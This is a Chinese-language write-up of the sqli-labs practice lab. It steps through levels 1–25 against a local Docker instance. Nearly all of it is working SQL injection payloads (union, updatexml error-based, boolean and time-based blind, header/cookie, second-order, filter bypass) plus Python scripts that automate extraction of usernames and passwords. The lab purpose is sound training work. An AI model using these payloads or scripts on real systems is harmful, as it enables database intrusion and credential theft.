环境: https://hub.docker.com/r/acgpiano/sqli-labs
Less-1
根据提示带上查询参数 id=1
,正常显示,加上引号即 id=1'
报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从报错可以看出闭合方式是单引号
进行联合注入:
-
- 判断查询列数
-
?id=1' ORDER BY 3--+
正常 -
?id=1' ORDER BY 4--+
报错: Unknown column '4' in 'order clause'因此列数为 3
-
- 判断回显位
?id=-1' UNION SELECT 1,2,3--+
Your Login name:2 Your Password:3
- 判断回显位
-
- 查
- 库名和版本
?id=-1' UNION SELECT 1, database(), version()--+
: security, 5.5.44-0ubuntu0.14.04.1 - 表名
?id=-1' UNION SELECT 1, 2, group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+
: emails, referers, uagents, users - 列名
?id=-1' UNION SELECT 1, 2, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+
: id, username, password - 数据
?id=-1' UNION SELECT 1, group_concat(username), group_concat(password) FROM users--+
Less-2
带上查询参数 id=1'
,报错位置为 ' LIMIT 0,1
,并没有其他闭合符,应该不是字符型注入
验证数字型注入:
?id=1 and 1=1
正常?id=1 and 1=2
不正常 (页面无内容回显)
剩下的步骤与第一关还是一样的,payload 把引号去掉就行了
Less-3
带上查询参数 id=1'
报错位置为 '1'') LIMIT 0,1
因此闭合方式为 ('')
,与第一关一样,把单引号改成 ')
就行了
Less-4
带上查询参数 id=1'
正常,改成 id=1"
报错,报错位置为 "1"") LIMIT 0,1
,与第一关一样,改成相应的闭合符号
Less-5
闭合方式为单引号,但是页面正常时只有一个 You are in...........
,报错信息会回显,可以采用报错注入
使用updatexml引发错误
爆库名和用户名
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) --+
XPATH syntax error: '~security~root@localhost~/var/li'
爆表名
?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) --+
XPATH syntax error: '~emails,referers,uagents,users~'
爆 users 表的列名
?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'),0x7e),1)--+
XPATH syntax error: '~id,username,password~'
爆账号密码
?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e),1)--+
?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(password) FROM users),0x7e),1)--+
XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
XPATH syntax error: '~Dumb,I-kill-you,p@ssword,crappy'
Less-6
与上关一样,只是换成双引号
Less-7
id=1'
id=1')
报错,但不提示报错位置id=1"
id=1'))
正常,判断闭合方式为((''))
报错没有具体报错信息,页面正常时内容不变,采用布尔盲注
import requests
url = "http://localhost:2333/Less-7/"
def send(payload: str) -> bool:
return 'You are in' in requests.get(url + payload).text
def inject():
print("Start..")
def find():
name = ""
char_offset = 1
def find_char():
nonlocal name, char_offset
for char in range(32, 127):
# 爆表名: emails,referers,uagents,users
sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char})-- "
# 爆列名: id,username,password
sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char})-- "
# 爆账号密码
sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char})-- "
sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char})-- "
if send(sentence):
name += chr(char)
print(name)
char_offset += 1
find_char()
find_char()
find()
if __name__ == '__main__':
inject()
Less-8
布尔盲注,闭合方式为 ''
Less-9
无论如何修改闭合符号,页面都只有一种状态,采用时间盲注,可以通过 ?id=1' AND SLEEP(1)--
判断闭合方式,对的话会卡指定秒数不动
把之前的脚本改一下
import requests
import time
url = "http://localhost:2333/Less-9/"
def send(payload: str) -> bool:
start = time.time()
requests.get(url + payload)
end = time.time()
return end - start > 1
def inject():
print("Start..")
def find():
name = ""
char_offset = 1
def find_char():
nonlocal name, char_offset
for char in range(32, 127):
# 爆表名: emails,referers,uagents,users
sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "
# 爆列名: id,username,password
sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "
# 爆账号密码
sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "
sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "
if send(sentence):
name += chr(char)
print(name)
char_offset += 1
find_char()
find_char()
find()
if __name__ == '__main__':
inject()
Less-10
与上一关一样,但闭合方式是 ""
Less-11
与之前的都不同,给了一个登录框,需要输入用户名和密码 (POST 方法提交表单)
admin'--
直接登录成功
可以使用联合注入爆出数据库信息
admin' ORDER BY 2--
页面正常,超过则报错,则表内有两列1' UNION SELECT 1, 2--
回显位依次为name、password1' UNION SELECT database(), version()--
爆库1' UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema='security'--
爆表1' UNION SELECT group_concat(column_name), 2 FROM information_schema.columns WHERE table_name='users'--
爆列1' UNION SELECT group_concat(username), group_concat(password) FROM users--
爆账号密码
Less-12
双引号 + 括号
Less-13
admin'--
报错,但不能直接看出来闭合方式,说明闭合方式含有单引号,可能还有括号,继续测试可知为单引号加括号 admin')--
登录成功没有信息回显,可以采用报错注入
使用updatexml引发错误
admin') and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--
爆库admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--
爆表admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--
爆列admin') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--
爆用户名admin') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--
爆密码
报错语句只能回显32位,可以利用 mid()
函数截取以查看剩余的内容: admin') and updatexml(1,concat(0x7e,(select mid(group_concat(username), 31, 60) from users),0x7e),1)--
Less-14
admin"--
登录成功
只有登录成功和失败两种状态,采用布尔盲注
成功的图片是 flag.jpg,失败的图片是 slap.jpg (img 标签的 src 属性值不同)
import requests
from bs4 import BeautifulSoup
url = "http://localhost:2333/Less-14/"
def send(payload: str):
soup = BeautifulSoup(requests.post(url, data={'uname': payload, 'passwd': '', 'submit': 'Submit', }).text, 'lxml')
return soup.find(name='img', attrs={'src': '../images/flag.jpg'})
def inject():
print("Start..")
def find():
name = ""
char_offset = 1
def find_char():
nonlocal name, char_offset
for char in range(32, 127):
# 爆表名: emails,referers,uagents,users
sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char})-- "
# 爆列名: id,username,password
sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char})-- "
# 爆账号密码
sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char})-- "
sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char})-- "
if send(sentence):
name += chr(char)
print(name)
char_offset += 1
find_char()
find_char()
find()
if __name__ == '__main__':
inject()
Less-15
与上一关一样,不过是单引号闭合
Less-16
闭合方式为 ("")
,依然可以用布尔盲注
Less-17
这是个密码重置页面 ~~BUG OFF YOU SILLY DUMB HACKER~~
注入点在 password (用户名输 admin),采用报错注入,与之前一样 ' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--
Less-18
进去显示了自己的 IP 地址,用户密码输入框测不出注入点,均输入 admin 能够登录成功并回显 User-Agent
于是抓包,把 User-Agent 改成一个单引号
会回显报错,采用报错注入即可 ',1,updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1))#
Less-19
注入点在 Referer 字段
Less-20
注入点是 Cookie 中的 uname
Less-21
也是 Cookie 注入点,不过 uname 使用了 base64 编码
将注入代码进行 base64 编码即可
Less-22
与 21 一样只不过是双引号
Less-23
注释符号不管用,可能是被过滤了,考虑使用其他方式闭合引号,而非忽略后续的代码
?id=1' or '1'='1
这样可以在闭合前面引号的同时闭合后面的引号
使用联合注入?id=-1' UNION SELECT 1, group_concat(username), group_concat(password) FROM users WHERE '1'='1
Less-24
有一个登录页面和修改密码的页面
利用注册页面,用户名和密码是直接存到数据库,并不立即进行转移,采用二次注入
先注册一个 admin'--
账号
然后登入,进行密码修改,会发现实际上修改了 admin
的密码,而非刚刚注册的账号的密码
Less-25
AND
和OR
被过滤了,联合注入还是可以用'
另外测试发现只替换一次,所以可以这样绕过AANDNANDD
OORR